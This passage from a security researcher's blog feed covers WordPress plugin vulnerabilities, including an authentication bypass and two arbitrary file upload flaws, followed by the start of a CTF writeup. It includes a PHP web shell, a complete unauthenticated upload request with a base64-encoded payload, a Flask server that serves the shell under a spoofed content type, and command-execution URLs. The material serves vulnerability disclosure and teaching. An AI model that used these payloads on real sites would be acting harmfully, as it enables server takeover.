                <span class="nv">$ticket</span> <span class="o">=</span> <span class="n">Mapbd_wps_ticket</span><span class="o">::</span><span class="nf">FindBy</span><span class="p">(</span><span class="s2">"id"</span><span class="p">,</span> <span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_id</span><span class="p">);</span>

                <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="k">empty</span><span class="p">(</span><span class="nv">$ticket</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span> <span class="o">==</span> <span class="nv">$requestParam</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">)</span> <span class="p">{</span>
                    <span class="nv">$is_guest_user</span> <span class="o">=</span> <span class="nf">get_user_meta</span><span class="p">(</span><span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">,</span> <span class="s2">"is_guest"</span><span class="p">,</span> <span class="kc">true</span><span class="p">)</span> <span class="o">==</span> <span class="s2">"Y"</span><span class="p">;</span> <span class="c1">// AT THIS POINT</span>
                    <span class="nv">$disable_hotlink</span> <span class="o">=</span> <span class="n">Apbd_wps_settings</span><span class="o">::</span><span class="nf">GetModuleOption</span><span class="p">(</span><span class="s1">'disable_ticket_hotlink'</span><span class="p">,</span> <span class="s1">'N'</span><span class="p">);</span>

                    <span class="k">if</span> <span class="p">(</span><span class="nv">$is_guest_user</span> <span class="o">||</span> <span class="s1">'Y'</span> <span class="o">!==</span> <span class="nv">$disable_hotlink</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// AT THIS POINT</span>
                        <span class="nv">$ticket_link</span> <span class="o">=</span> <span class="n">Mapbd_wps_ticket</span><span class="o">::</span><span class="nf">getTicketAdminLink</span><span class="p">(</span><span class="nv">$ticket</span><span class="p">);</span>

                        <span class="k">if</span> <span class="p">(</span><span class="nf">is_user_logged_in</span><span class="p">())</span> <span class="p">{</span>
                            <span class="nf">wp_logout</span><span class="p">();</span>
                        <span class="p">}</span>

                        <span class="nf">wp_clear_auth_cookie</span><span class="p">();</span> <span class="c1">// AT THIS POINT</span>
                        <span class="nf">wp_set_current_user</span><span class="p">(</span><span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">);</span> <span class="c1">// AT THIS POINT</span>
                        <span class="nf">wp_set_auth_cookie</span><span class="p">(</span><span class="nv">$ticket</span><span class="o">-&gt;</span><span class="n">ticket_user</span><span class="p">);</span> <span class="c1">// AT THIS POINT</span>
                        <span class="nf">wp_safe_redirect</span><span class="p">(</span><span class="nv">$ticket_link</span><span class="p">);</span>
                        <span class="k">exit</span><span class="p">;</span>
                    <span class="p">}</span>
                <span class="p">}</span>
            <span class="p">}</span>
        <span class="p">}</span>
    <span class="p">}</span>

</code></pre></div></div>

<hr />

<h1 id="arbitrary-file-upload-via-base64-encoded-dataimage-format">Arbitrary File Upload via base64-encoded data:image/* format</h1>

<p>While analyzing the plugin, I discovered a critical vulnerability that allows arbitrary file uploads, including <code class="language-plaintext highlighter-rouge">.php</code> files, by abusing a base64-encoded <code class="language-plaintext highlighter-rouge">data:image/*</code> payload. The root of the issue lies in the <code class="language-plaintext highlighter-rouge">store_final_product_image()</code> function, located in <code class="language-plaintext highlighter-rouge">staggs-functions.php</code>.</p>

<p>This function is triggered through the <code class="language-plaintext highlighter-rouge">staggs_get_configuration_form_urls_ajax()</code> AJAX handler, which is registered for both authenticated and unauthenticated users via the <code class="language-plaintext highlighter-rouge">wp_ajax_</code> and <code class="language-plaintext highlighter-rouge">wp_ajax_nopriv_</code> hooks. This means the vulnerability can be exploited remotely without authentication.</p>

<p>The <code class="language-plaintext highlighter-rouge">staggs_get_configuration_form_urls_ajax()</code> function handles various POST parameters, including <code class="language-plaintext highlighter-rouge">image_id</code> and <code class="language-plaintext highlighter-rouge">image</code>. When an image is provided, it directly calls <code class="language-plaintext highlighter-rouge">store_final_product_image()</code>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'image_id'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
    <span class="nv">$image_name</span> <span class="o">=</span> <span class="nf">staggs_sanitize_title</span><span class="p">(</span> <span class="nf">get_the_title</span><span class="p">(</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'image_id'</span><span class="p">]</span> <span class="p">)</span> <span class="p">);</span>
    <span class="nv">$image_url</span>  <span class="o">=</span> <span class="nf">store_final_product_image</span><span class="p">(</span> <span class="nv">$image_name</span><span class="p">,</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'image'</span><span class="p">],</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'values'</span><span class="p">],</span> <span class="kc">true</span> <span class="p">);</span>
    <span class="nv">$response</span><span class="p">[</span><span class="s1">'image_url'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$image_url</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Inside <code class="language-plaintext highlighter-rouge">store_final_product_image()</code>, the image data is expected to be in base64 format with a <code class="language-plaintext highlighter-rouge">data:image/...;base64,...</code> prefix. The MIME type is extracted via regex and used directly as the file extension:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span> <span class="nb">preg_match</span><span class="p">(</span> <span class="s1">'/^data:image\/(.*);base64,/'</span><span class="p">,</span> <span class="nv">$data</span><span class="p">,</span> <span class="nv">$type</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
    <span class="nv">$data</span> <span class="o">=</span> <span class="nb">substr</span><span class="p">(</span> <span class="nv">$data</span><span class="p">,</span> <span class="nb">strpos</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="s1">','</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span> <span class="p">);</span>
    <span class="nv">$type</span> <span class="o">=</span> <span class="nb">strtolower</span><span class="p">(</span> <span class="nv">$type</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="p">);</span> <span class="c1">// ← extension is fully user-controlled</span>
    <span class="nv">$data</span> <span class="o">=</span> <span class="nb">base64_decode</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
    <span class="mf">...</span>
    <span class="nv">$filename</span> <span class="o">=</span> <span class="nv">$imagename</span> <span class="mf">.</span> <span class="s1">'.'</span> <span class="mf">.</span> <span class="nv">$type</span><span class="p">;</span>
    <span class="nb">file_put_contents</span><span class="p">(</span> <span class="nv">$save_path</span> <span class="mf">.</span> <span class="s2">"/</span><span class="si">{</span><span class="nv">$filename</span><span class="si">}</span><span class="s2">"</span><span class="p">,</span> <span class="nv">$data</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>There is no validation of the actual file type, no extension whitelist, and the decoded data is blindly written to disk. This makes it possible to send a payload like <code class="language-plaintext highlighter-rouge">data:image//shell.php;base64,...</code> and have the file saved directly to <code class="language-plaintext highlighter-rouge">/wp-content/uploads/staggs/shell.php</code>.</p>

<p>To demonstrate the issue, I created a simple PHP backdoor:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p>This code, once base64-encoded, was used in the following HTTP POST request to upload the file via the vulnerable AJAX endpoint:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

action=staggs_get_configuration_form_urls&amp;contents={}&amp;image_id=test&amp;image=data:image//test.php;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2bIA%3d%3d
</code></pre></div></div>

<p>The base64 string decodes to the PHP code shown above.</p>

<p>After sending the request, the file is saved at:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://example.com/wp-content/uploads/staggs/test.php
</code></pre></div></div>

<p>At this point, it is possible to achieve Remote Code Execution (RCE) by accessing the file with a <code class="language-plaintext highlighter-rouge">cmd</code> parameter, such as:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://example.com/wp-content/uploads/staggs/test.php?cmd=id
</code></pre></div></div>

<p>This exploit works because:</p>
<ul>
  <li>the file extension is derived from the user-supplied MIME type,</li>
  <li>there is no verification of the decoded file content,</li>
  <li>there is no restriction on dangerous extensions (like <code class="language-plaintext highlighter-rouge">.php</code>),</li>
  <li>and the file is saved in a web-accessible directory.</li>
</ul>

<hr />

<h1 id="arbitrary-file-upload-via-external-image-url-and-improper-content-type-handling">Arbitrary File Upload via External Image URL and Improper Content-Type Handling</h1>

<p>While analyzing the user profile handling mechanism of a WordPress plugin, I discovered a vulnerability that allows an attacker to upload arbitrary files to the server simply by providing a crafted external URL. This flaw originates from a function responsible for downloading and storing avatar images set by users when updating their profile. The vulnerability is exploitable by any authenticated user who has access to the profile update page (<code class="language-plaintext highlighter-rouge">/wp-admin/profile.php</code>), which includes by default all logged…</p>

<p>The plugin adds a custom field to the profile form where users can specify a remote image URL (<code class="language-plaintext highlighter-rouge">avatar_url</code>). When the form is submitted, the plugin processes the URL using the vulnerable function <code class="language-plaintext highlighter-rouge">save_social_avatar()</code>, which attempts to download and save the remote resource as the user’s new avatar image.</p>

<p>Let’s walk through the vulnerable function:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">private</span> <span class="k">function</span> <span class="n">save_social_avatar</span><span class="p">(</span> <span class="nv">$url</span> <span class="o">=</span> <span class="kc">NULL</span><span class="p">,</span> <span class="nv">$name</span> <span class="o">=</span> <span class="s1">'avatar'</span> <span class="p">)</span> <span class="p">{</span>
    
    <span class="nv">$url</span> <span class="o">=</span> <span class="nb">stripslashes</span><span class="p">(</span> <span class="nv">$url</span> <span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span> <span class="o">!</span> <span class="nb">filter_var</span><span class="p">(</span> <span class="nv">$url</span><span class="p">,</span> <span class="no">FILTER_VALIDATE_URL</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span> <span class="k">empty</span><span class="p">(</span> <span class="nv">$name</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
        <span class="nv">$name</span> <span class="o">=</span> <span class="nb">basename</span><span class="p">(</span> <span class="nv">$url</span> <span class="p">);</span>
    <span class="p">}</span>

    <span class="nv">$dir</span> <span class="o">=</span> <span class="nf">wp_upload_dir</span><span class="p">();</span>

    <span class="k">try</span> <span class="p">{</span>
        <span class="nv">$image</span> <span class="o">=</span> <span class="nf">wp_remote_get</span><span class="p">(</span> <span class="nv">$url</span><span class="p">,</span> <span class="k">array</span><span class="p">(</span> <span class="s1">'timeout'</span> <span class="o">=&gt;</span> <span class="mi">15</span> <span class="p">)</span> <span class="p">);</span>
        <span class="k">if</span> <span class="p">(</span> <span class="o">!</span> <span class="nf">is_wp_error</span><span class="p">(</span> <span class="nv">$image</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$image</span><span class="p">[</span><span class="s1">'response'</span><span class="p">][</span><span class="s1">'code'</span><span class="p">]</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="mi">200</span> <span class="o">===</span> <span class="nv">$image</span><span class="p">[</span><span class="s1">'response'</span><span class="p">][</span><span class="s1">'code'</span><span class="p">]</span> <span class="p">)</span> <span class="p">{</span>
            
            <span class="nv">$image_content</span> <span class="o">=</span> <span class="nf">wp_remote_retrieve_body</span><span class="p">(</span> <span class="nv">$image</span> <span class="p">);</span>
            <span class="nv">$image_type</span> <span class="o">=</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$image</span><span class="p">[</span><span class="s1">'headers'</span><span class="p">]</span> <span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="k">isset</span><span class="p">(</span> <span class="nv">$image</span><span class="p">[</span><span class="s1">'headers'</span><span class="p">][</span><span class="s1">'content-type'</span><span class="p">]</span> <span class="p">)</span> <span class="o">?</span> <span class="nv">$image</span><span class="p">[</span><span class="s1">'headers'</span><span class="p">][</span><span class="s1">'content-type'</span><span class="p">]</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span>
            <span class="nv">$image_type_parts</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
            <span class="nv">$extension</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>

            <span class="k">if</span> <span class="p">(</span> <span class="nv">$image_type</span> <span class="p">)</span> <span class="p">{</span>
                <span class="nv">$image_type_parts</span> <span class="o">=</span> <span class="nb">explode</span><span class="p">(</span> <span class="s1">'/'</span><span class="p">,</span> <span class="nv">$image_type</span> <span class="p">);</span>
                <span class="nv">$extension</span> <span class="o">=</span> <span class="nv">$image_type_parts</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
            <span class="p">}</span>

            <span class="k">if</span> <span class="p">(</span> <span class="o">!</span> <span class="nb">is_string</span><span class="p">(</span> <span class="nv">$image_content</span> <span class="p">)</span> <span class="o">||</span> <span class="k">empty</span><span class="p">(</span> <span class="nv">$image_content</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
                <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
            <span class="p">}</span>

            <span class="k">if</span> <span class="p">(</span> <span class="o">!</span> <span class="nb">is_dir</span><span class="p">(</span> <span class="nv">$dir</span><span class="p">[</span><span class="s1">'basedir'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'/[REDACTED]'</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
                <span class="nf">wp_mkdir_p</span><span class="p">(</span> <span class="nv">$dir</span><span class="p">[</span><span class="s1">'basedir'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'/[REDACTED]'</span> <span class="p">);</span>
            <span class="p">}</span>

            <span class="nv">$save</span> <span class="o">=</span> <span class="nb">file_put_contents</span><span class="p">(</span> <span class="nv">$dir</span><span class="p">[</span><span class="s1">'basedir'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'/[REDACTED]/'</span> <span class="mf">.</span> <span class="nv">$name</span> <span class="mf">.</span> <span class="s1">'.'</span> <span class="mf">.</span> <span class="nv">$extension</span><span class="p">,</span> <span class="nv">$image_content</span> <span class="p">);</span>
            <span class="k">if</span> <span class="p">(</span> <span class="o">!</span> <span class="nv">$save</span> <span class="p">)</span> <span class="p">{</span>
                <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
            <span class="p">}</span>

            <span class="k">return</span> <span class="nv">$dir</span><span class="p">[</span><span class="s1">'baseurl'</span><span class="p">]</span> <span class="mf">.</span> <span class="s1">'/[REDACTED]/'</span> <span class="mf">.</span> <span class="nv">$name</span> <span class="mf">.</span> <span class="s1">'.'</span> <span class="mf">.</span> <span class="nv">$extension</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>

    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span> <span class="nc">Exception</span> <span class="nv">$e</span> <span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="kc">false</span><span class="p">;</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function accepts a user-provided <code class="language-plaintext highlighter-rouge">$url</code>, which is fetched using <code class="language-plaintext highlighter-rouge">wp_remote_get()</code>. If the response is successful, the body of the response is retrieved and stored as a file on disk. The filename is constructed using the original basename of the URL and the file extension is determined based on the <code class="language-plaintext highlighter-rouge">Content-Type</code> header of the remote response. This introduces a critical flaw: the attacker controls both the contents of the file and the extension, via the remote server.</p>

<p>There is no verification of the actual content type, no restriction on allowed MIME types, and no server-side validation of the file contents. As a result, an attacker can host a malicious server and serve a file like this:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">system</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'cmd'</span><span class="p">]);</span> <span class="cp">?&gt;</span>
</code></pre></div></div>

<p>…along with a <code class="language-plaintext highlighter-rouge">Content-Type: image/php</code> header. Since the function blindly splits the content type and extracts the second part as the extension (<code class="language-plaintext highlighter-rouge">php</code>), the file will be saved as something like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/wp-content/uploads/[REDACTED]/avatar.php
</code></pre></div></div>

<p>To test this, I hosted a minimal Flask server with the following code:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">Response</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/testimage.png'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">test_image</span><span class="p">():</span>
    <span class="n">response</span> <span class="o">=</span> <span class="n">Response</span><span class="p">(</span><span class="s">"&lt;?php system($_GET['cmd']); ?&gt;"</span><span class="p">)</span>
    <span class="n">response</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">"Content-Type"</span><span class="p">]</span> <span class="o">=</span> <span class="s">"image/php"</span>
    <span class="k">return</span> <span class="n">response</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">"0.0.0.0"</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">80</span><span class="p">)</span>
</code></pre></div></div>

<p>Then I updated the avatar field in the WordPress profile form with the following URL:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://&lt;attacker-server&gt;/testimage.png
</code></pre></div></div>

<p>Once the profile was saved, the plugin downloaded the file, interpreted the <code class="language-plaintext highlighter-rouge">Content-Type: image/php</code>, and wrote the PHP payload with a <code class="language-plaintext highlighter-rouge">.php</code> extension in the uploads folder. The result was a web-accessible file that could be used to execute arbitrary system commands via a simple request like:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://target-site.com/wp-content/uploads/[REDACTED]/avatar.php?cmd=id
</code></pre></div></div>

<p>This effectively results in <strong>Remote Code Execution</strong> via a file upload vector, achievable from a low-privileged authenticated user context. The vulnerability exists due to a lack of MIME validation, unfiltered reliance on the <code class="language-plaintext highlighter-rouge">Content-Type</code> header, and the use of uncontrolled input for determining file extensions.</p>]]></content><author><name>Martino Spagnuolo</name></author><category term="cve" /><summary type="html"><![CDATA[In this post, I break down three real-world vulnerabilities found in WordPress plugins — from unsafe deserialization to arbitrary file upload — and show how they can lead to full compromise.Includes analysis, PoCs, and exploitation details.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://r3verii.github.io/assets/2025-04-08-expoiting-wordpress/images/cover.jpg" /><media:content medium="image" url="https://r3verii.github.io/assets/2025-04-08-expoiting-wordpress/images/cover.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">UTCTF 2024 Writeups</title><link href="https://r3verii.github.io/ctf/2024/04/01/utctf-writeup.html" rel="alternate" type="text/html" title="UTCTF 2024 Writeups" /><published>2024-04-01T08:14:54+00:00</published><updated>2024-04-01T08:14:54+00:00</updated><id>https://r3verii.github.io/ctf/2024/04/01/utctf-writeup</id><content type="html" xml:base="https://r3verii.github.io/ctf/2024/04/01/utctf-writeup.html"><![CDATA[<h1 id="easy-mergers-v01">Easy Mergers v0.1</h1>

<p>Challenge category : web<br />
Description :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Tired of getting your corporate mergers blocked by the FTC? Good news! Just give us your corporate information and let our unpaid interns do the work!

By Samintell (@samintell on discord)
</code></pre></div></div>

<p>The challenge is a simple webapp written in nodejs. <a href="./src/">SOURCE</a> 
At first glance it is immediately clear (also from the title) that the app merges objects (called “companies”), analyzing the source we see that there are 2 endpoints:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/api/makeCompany
/api/absorbCompany/:cid
</code></pre></div></div>
<p>Let’s try to understand how the app works : when we create a company (without the “absorb” flag) it creates an object with the values and attributes that we gave as input</p>

<p><img src="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/images/1.jpg" alt="" /></p>

<p><img src="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/images/2.jpg" alt="" /></p>

<p>The snippet of code that manages this endpoint is this:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">app</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/makeCompany</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">req</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">init</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="dl">"</span><span class="s2">invalid session</span><span class="dl">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span> <span class="o">===</span> <span class="kc">undefined</span> <span class="o">||</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span> <span class="o">===</span> <span class="kc">undefined</span> <span class="o">||</span>
    <span class="o">!</span><span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">))</span> <span class="p">{</span>
    <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="dl">'</span><span class="s1">attributes and values are incorrectly set</span><span class="dl">'</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="kd">let</span> <span class="nx">cNum</span> <span class="o">=</span> <span class="nx">userCompanies</span><span class="p">[</span><span class="nx">req</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">uid</span><span class="p">].</span><span class="nx">length</span><span class="p">;</span>
  <span class="kd">let</span> <span class="nx">cObj</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Object</span><span class="p">();</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">j</span> <span class="o">&lt;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">j</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">j</span><span class="p">]</span> <span class="o">!=</span> <span class="dl">''</span> <span class="o">&amp;&amp;</span> <span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">j</span><span class="p">]</span> <span class="o">!=</span> <span class="kc">null</span><span class="p">)</span> <span class="p">{</span>
      <span class="nx">cObj</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">j</span><span class="p">]]</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">j</span><span class="p">];</span>
    <span class="p">}</span>
    
  <span class="p">}</span>
  <span class="nx">cObj</span><span class="p">.</span><span class="nx">cid</span> <span class="o">=</span> <span class="nx">cNum</span><span class="p">;</span>
  <span class="nx">userCompanies</span><span class="p">[</span><span class="nx">req</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">uid</span><span class="p">][</span><span class="nx">cNum</span><span class="p">]</span> <span class="o">=</span> <span class="nx">cObj</span><span class="p">;</span>

  <span class="nx">res</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="nx">cNum</span> <span class="o">+</span> <span class="dl">""</span><span class="p">);</span>
<span class="p">})</span>
</code></pre></div></div>

<p>instead when we create a company with the “absorb” flag by inserting the CID of another previously created company, it merges the two companies into a single object</p>

<p><img src="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/images/3.jpg" alt="" />
<img src="/assets/2024-04-01-utctf-writeup/Easy_Mergers_v0.1/images/4.jpg" alt="" /></p>

<p>As we notice from the response in Burp there are parameters <code class="language-plaintext highlighter-rouge">cmd</code> , <code class="language-plaintext highlighter-rouge">stdout</code>, <code class="language-plaintext highlighter-rouge">stderr</code> , so let’s take a look at the source , in the route <code class="language-plaintext highlighter-rouge">app.post('/api/absorbCompany/:cid', function (req, res)</code> , we notice that a child process is started <code class="language-plaintext highlighter-rouge">merger.js</code> :</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">isObject</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="k">typeof</span> <span class="nx">obj</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">function</span><span class="dl">'</span> <span class="o">||</span> <span class="k">typeof</span> <span class="nx">obj</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">object</span><span class="dl">'</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">var</span> <span class="nx">secret</span> <span class="o">=</span> <span class="p">{}</span>

<span class="kd">const</span> <span class="p">{</span><span class="nx">exec</span><span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">child_process</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">process</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">message</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">m</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">let</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">m</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
    <span class="kd">let</span> <span class="nx">orig</span> <span class="o">=</span> <span class="nx">m</span><span class="p">.</span><span class="nx">orig</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">k</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">k</span> <span class="o">&lt;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">min</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">k</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]]</span> <span class="o">===</span> <span class="kc">undefined</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">isObject</span><span class="p">(</span><span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]])</span> <span class="o">&amp;&amp;</span> <span class="nx">isObject</span><span class="p">(</span><span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">]))</span> <span class="p">{</span>
            <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">])</span> <span class="p">{</span>
                <span class="nx">orig</span><span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">attributes</span><span class="p">[</span><span class="nx">k</span><span class="p">]][</span><span class="nx">key</span><span class="p">]</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">values</span><span class="p">[</span><span class="nx">k</span><span class="p">][</span><span class="nx">key</span><span class="p">];</span>
            <span class="p">}</span>
